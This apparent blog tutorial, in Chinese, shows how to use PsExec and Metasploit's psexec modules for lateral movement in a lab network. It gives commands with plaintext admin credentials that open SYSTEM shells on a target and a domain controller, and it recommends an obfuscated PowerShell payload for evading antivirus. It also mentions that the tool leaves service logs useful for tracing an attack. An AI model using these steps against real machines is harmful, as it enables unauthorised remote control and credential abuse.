PsExec的使用

前言

PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。

PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

攻击过程

首先我们的与目标操作系统建立一个ipc$管道共享,并获取对应的交互式shell
在这里插入图片描述
然后我们执行如下命令,获取对应系统的System权限的shell。-accepteula是指第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框。-s是指以System权限运行远程进程,获得一个System权限的交互式Shell。如果不使用该参数,会获得一个Administrator权限的shell。

PsExec64.exe -accepteula \\192.168.108.101 -s cmd.exe

在这里插入图片描述
如果我们没有建立IPC$,psexec有两个参数可以通过指定账号和密码进行远程连接。-u是指域\用户名,-p是指密码

psexec64.exe \\192.168.108.101 -u administrator -p Admin12345 cmd.exe

在这里插入图片描述
我们可以执行如下命令,使用psexec在远程计算机上进行回显

psexec64.exe \\192.168.108.101 -u administrator -p Admin12345 cmd.exe /c "net user"

在这里插入图片描述

使用psexec的注意事项

  • 需要远程系统开启admin$共享(默认是开启的)
  • 在使用ipc$连接目标系统后,不需要输入账号和密码
  • 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
  • 使用psexec可以直接获得system权限的交互式shell

Metasploit中的psexec模块

我们使用search命令搜索psexec模块。使用exploit/windows/smb/psexec_psh模块生成的payload比exploit/windows/smb/psexec的EXE版本好,因为前者是使用powershell实现的,powershell脚本使用了混淆技术达到绕过杀软的目的。如果内网中的一些机器是XP或者2003版本的,我们可以使用后者的payload。
在这里插入图片描述
我们使用exploit/windows/smb/psexec这个模块,并设置对应的参数

set rhosts 192.168.108.101(域控IP)
set smbuser administrator
set smbpass Admin12345
exploit

在这里插入图片描述
可以看到,我们获得的是一个system权限的shell
在这里插入图片描述

  • 7
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值